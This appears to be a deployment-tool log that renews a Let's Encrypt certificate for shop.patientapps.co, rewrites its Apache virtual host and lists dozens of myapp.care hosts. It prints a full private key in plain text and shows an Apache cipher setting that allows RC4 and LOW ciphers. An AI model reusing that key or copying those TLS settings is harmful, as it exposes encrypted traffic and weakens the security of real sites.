MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-15 15:11:40: Establishing a connection
2026-04-15 15:11:40: Establishing a connection
2026-04-15 15:11:40: 

PUT: /tmp/pkp540617

#!/bin/bash
if [ -d "/var/www/patientapps_shop/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-15 15:11:40: 

chmod 755 /tmp/pkp540617; /tmp/pkp540617; rm /tmp/pkp540617

2026-04-15 15:11:40: 


1


2026-04-15 15:11:41: Establishing a connection
2026-04-15 15:11:41: 

PUT: /tmp/pkp337950

#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
cat > f27tNlcV4aLUls1ZwPuk0kgxd7_b_0ffzKYEOEGKq4Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
f27tNlcV4aLUls1ZwPuk0kgxd7_b_0ffzKYEOEGKq4Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 f27tNlcV4aLUls1ZwPuk0kgxd7_b_0ffzKYEOEGKq4Y


2026-04-15 15:11:41: 

chmod 755 /tmp/pkp337950; /tmp/pkp337950; rm /tmp/pkp337950

2026-04-15 15:11:41: 




2026-04-15 15:11:45: Establishing a connection
2026-04-15 15:11:45: 

PUT: /tmp/pkp203384

#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
rm f27tNlcV4aLUls1ZwPuk0kgxd7_b_0ffzKYEOEGKq4Y


2026-04-15 15:11:46: 

chmod 755 /tmp/pkp203384; /tmp/pkp203384; rm /tmp/pkp203384

2026-04-15 15:11:46: 




2026-04-15 15:11:46: Establishing a connection
2026-04-15 15:11:46: 

PUT: /tmp/pkp124266

#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99

cat > $temp_file <<'endmsg'
f3:4e:b9:ce:f3:c7:ed:99:5f:47:bc:55:53:86:ca:d3

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBVq5EWMwT8JRhowtOIRA1fgmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDE1MTQxMzE0WhcNMjYwNzE0MTQxMzEzWjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAvIwQHC25SFA1YtBmIHPa27lLRv20PQR5m61EOL3tXO4HbkbOJu3xniE3
ciSmEaZ9CRfTJdpUgBdNyE4vTFGzQWF8hqQ4PaKGr3fUTzB+Zz6s5X06ASUaXtwB
t/2ph6EnxYxoaMrzJ7np0PE5NUCuU3JF+V4WSLPB6IMZvL2qB8awS1i+z5XgwGQx
oDeVe+i30muswLqf+qol4nOSYJj+6zbc7mJifGN9o0HydbxMclm0ceI3v/xwmaOK
2qOpqQmKzkAOyyPb200ytuEJUa5GEfXgh0QdDeCelVUvuARo3i6ShZUSIbYcN5PB
n30QgViPAQARro9ztUa5/rSh7vWXMQIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FCif9iipikdOTZGTum2t79kt0b6vMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITc2hvcC5wYXRpZW50YXBwcy5jbzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzM5LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB2ANdtfRDR
p/V3wsfpX9cAv/mCyTNaZeHQswFzF8DIxWl3AAABnZGyw38AAAQDAEcwRQIhANau
OruX7Hs5uzIKriq4iQECYRMfgFN7Zz1O1Eb98uTQAiAWwGT7+jmolFH0XAmbj33q
X7fbX2r9jmwieIryxlB2KwB/AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4Y
GOs6AAABnZGyw/8ACAAABQAHVJCPBAMASDBGAiEA7NY0bPuGSpbocEocFFs19Btj
eUY9A14OnRl+Hn9Vcq0CIQDKooynz5HdD7tOrvuhGwkIYE8chOSRkM+ueppFbbsi
bjANBgkqhkiG9w0BAQsFAAOCAQEAuk5y0JsGxVwX3F7nrvaLs/15q9PUpK0fsVN8
3LGO5diIKIo/aPtBdCwkoYl0/f+gll/eqeHZPOwTLpoEvrKc0wdlddbFgg0+1Fl+
BfsMikEPzW0M2Wc73+OK445KK9HZPKn/7O2uqzymUnSmFxT2PjODTNXDBtLWJBgk
T4ovcls2WdY3ibTUM1Azm50ia19x/JChFSNowZjFJDpQ+u4O9jcSR9BE3jbQsEjS
U4oY7gpMIci7QOPm4moi74ewtO76ZddY1IFToWsoYY5wqSrBEH6iM0ZF0ABRyo/R
LY5CKFjIZVYDjv5xR5ihRAb2ssN6ljCSzopiVpw+bfAzqptWig==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8jBAcLblIUDVi
0GYgc9rbuUtG/bQ9BHmbrUQ4ve1c7gduRs4m7fGeITdyJKYRpn0JF9Ml2lSAF03I
Ti9MUbNBYXyGpDg9ooavd9RPMH5nPqzlfToBJRpe3AG3/amHoSfFjGhoyvMnuenQ
8Tk1QK5TckX5XhZIs8Hogxm8vaoHxrBLWL7PleDAZDGgN5V76LfSa6zAup/6qiXi
c5JgmP7rNtzuYmJ8Y32jQfJ1vExyWbRx4je//HCZo4rao6mpCYrOQA7LI9vbTTK2
4QlRrkYR9eCHRB0N4J6VVS+4BGjeLpKFlRIhthw3k8GffRCBWI8BABGuj3O1Rrn+
tKHu9ZcxAgMBAAECggEAD6wWxLjaP1QHc/y9mHH43a2zv6Vj/3RpRVLsKklDOye/
718sUJkTreC18qNwOGRd3U0hLHLO9ky5lu5EyTO7UjJvvuNUl270gg5UU/bEcwGH
LpYvpZu3au4fqHMJze/L1gRbQ2anOoSeFlOOvUnwk5gaj+VNteJXOmP3VjRvtzCc
Y8KDMNd2vd7GFMbppqXF/SycwsnaEoiON1SDrTyOjBXt1L5T6DiTtAAN6MCU1dsx
YdqcWWD7mh4IV1D2fo3tZ3bL8b5i9OluYnuC8jui//GuN8chdiIudVHRwiFmJYQI
DNxHmPomqn7e+pS96cNwyZxLCR6Bdh50f4jE8e7upwKBgQD8W2JzZaXa0XA8JNsM
EPbIXNCc3ONYit+8ogdHd7mydzqSyg1vfFcxR8foysWWJiv92fRvtxBMiMkdHltu
HeSNzE2kA2ALy8FR0iDSVxP7LcKF2b0tjWSPSMJV2B4BPvvUojQPB9rCIOIQPnSV
6mbllSHwyJCcElYUUuRmCVb4swKBgQC/RNyFSzg/xHI17otMmsnd1s7gRCZgZVob
b1XyVm2JR7fexqRKpEr967B2C492S2zisfa/aXTA4VYAXSzqGiCkr/rbWkbYn4SU
mlEx2FcUg/jKwrR8KoabCSvQIC4y2gC8q+MR8GV78OK7fClsBW8QH9neYeqznBUz
+DaQgAw6iwKBgDWG+Ln7bJOeaw0G0EOd8YqMTV+IZtyoEE8Fmz+ogIX/TjhGjVUB
bckxLZEOOZzgmeItcfCkRtvFA8ueXcxcoNcG580LPjsiS+4cAQQ8nitgCGu1xK+9
1v+hcj8dKTggcPAoO5yYkOkuamUBql8GKi82U82r7Sh9py6GapXOE1mLAoGAYWwM
uqQOmYRQ/CFtuG4bJjB0nQx5U54sIE88Qrw8/LCX+hPJuO8n91/mOKo4v3M5mdo1
qVdojZn4+SR8bR0zxU6RgsrfzRSrLhnQA4iDCkMSJQy5a4kpmKw6Mb9CaMpbl74h
YZDF0DRo+EAMxSWbZWYjzb6oEiYNMrRZ7o4aLHMCgYEAsZqOXvjZ8671csPNeVR9
V+PoJRAx9Sqr8+riZUem1gj3YQuPfUsKvfnO3+hNivDWtV4LZWyVJoRN0oq3pPy/
Z/P2LmarY453P8hyHhfgINH8Yohq8oUxrLfJDEVfZZufimjsrLN5GLiQPXL067Nh
YBrziICVeuH6kX/2pt9wwXY=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-15 15:11:46: 

chmod 755 /tmp/pkp124266; /tmp/pkp124266; rm /tmp/pkp124266

2026-04-15 15:11:46: 


dir=/etc/ssl/certs


2026-04-15 15:11:46: 

PUT: /tmp/pkp268292

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_shop_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-15 15:11:46: 

chmod 755 /tmp/pkp268292; /tmp/pkp268292; rm /tmp/pkp268292

2026-04-15 15:11:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf 43

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>






2026-04-15 15:11:46: 

PUT: /tmp/pkp659307

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_shop_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_shop_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_shop_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_shop_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf= 1'
fi


2026-04-15 15:11:46: 

chmod 755 /tmp/pkp659307; /tmp/pkp659307; rm /tmp/pkp659307

2026-04-15 15:11:46: 




2026-04-15 15:11:46: 

PUT: /tmp/pkp236412

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-15 15:11:46: 

chmod 755 /tmp/pkp236412; /tmp/pkp236412; rm /tmp/pkp236412

2026-04-15 15:11:46: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-15 15:11:46: Establishing a connection
2026-04-15 15:11:46: 

PUT: /tmp/pkp350344

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-15 15:11:46: 

chmod 755 /tmp/pkp350344; /tmp/pkp350344; rm /tmp/pkp350344

2026-04-15 15:11:46: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
